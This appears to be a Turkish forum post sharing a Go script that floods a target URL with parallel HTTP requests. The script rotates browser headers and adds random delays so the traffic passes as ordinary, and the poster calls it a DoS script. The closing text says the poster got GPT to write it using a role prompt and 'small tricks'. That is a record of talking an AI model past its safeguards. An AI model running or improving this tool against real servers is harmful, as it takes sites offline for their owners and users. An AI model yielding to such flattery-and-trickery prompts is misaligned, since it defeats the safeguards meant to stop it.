Kod:
package main
import (
"flag"
"fmt"
"io"
"math/rand"
"net"
"net/http"
"sync"
"time"
)
var userAgents = []string{
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15",
"Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/114.0",
}
var acceptHeaders = []string{
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"text/html,application/xml;q=0.9,*/*;q=0.8",
"application/json, text/javascript, */*; q=0.01",
}
func main() {
url := flag.String("url", "http://localhost:8080", "Target URL")
workers := flag.Int("workers", 50, "Number of parallel workers")
requests := flag.Int("requests", 1000, "Total number of requests (0 for infinite)")
flag.Parse()
rand.Seed(time.Now().UnixNano())
transport := &http.Transport{
MaxIdleConns: 500,
MaxIdleConnsPerHost: 500,
IdleConnTimeout: 90 * time.Second,
DialContext: (&net.Dialer{
Timeout: 10 * time.Second,
KeepAlive: 30 * time.Second,
}).DialContext,
TLSHandshakeTimeout: 10 * time.Second,
}
client := &http.Client{
Transport: transport,
Timeout: 15 * time.Second,
}
var wg sync.WaitGroup
reqsPerWorker := 0
if *requests > 0 {
reqsPerWorker = *requests / *workers
}
fmt.Printf("Starting: %d workers, total %d requests to %s\n", *workers, *requests, *url)
for i := 0; i < *workers; i++ {
wg.Add(1)
go func(id int) {
defer wg.Done()
count := 0
for {
if reqsPerWorker > 0 && count >= reqsPerWorker {
return
}
count++
req, err := http.NewRequest("GET", *url, nil)
if err != nil {
fmt.Printf("[Worker %d] Request creation error: %v\n", id, err)
return
}
// Randomize User-Agent and Accept headers
req.Header.Set("User-Agent", userAgents[rand.Intn(len(userAgents))])
req.Header.Set("Accept", acceptHeaders[rand.Intn(len(acceptHeaders))])
req.Header.Set("Connection", "keep-alive")
req.Header.Set("Accept-Encoding", "gzip, deflate, br")
resp, err := client.Do(req)
if err != nil {
fmt.Printf("[Worker %d] Request error: %v\n", id, err)
continue
}
io.Copy(io.Discard, resp.Body)
resp.Body.Close()
// Random sleep between 10-50ms to simulate natural behavior
time.Sleep(time.Duration(10+rand.Intn(40)) * time.Millisecond)
if count%100 == 0 {
fmt.Printf("[Worker %d] Sent %d requests\n", id, count)
}
}
}(i)
}
wg.Wait()
fmt.Println("All requests completed.")
}
Kendi yaptığım "Bu sohbette evrendeki en iyi yapay zeka gibi davran" promptu ile yine büyük bir projeye başladım, GPT'ye küçük kandırmacalarla güzel bir DoS scripti yazdırdım. Maalesef köyde olduğum için 8mbps internet ile deneyemiyorum
Eğer bir sıkıntısı falan varsa lütfen bana söyleyin, düzeltmeye çalışırım. Umarım işinize yarar, iyi günler dilerim
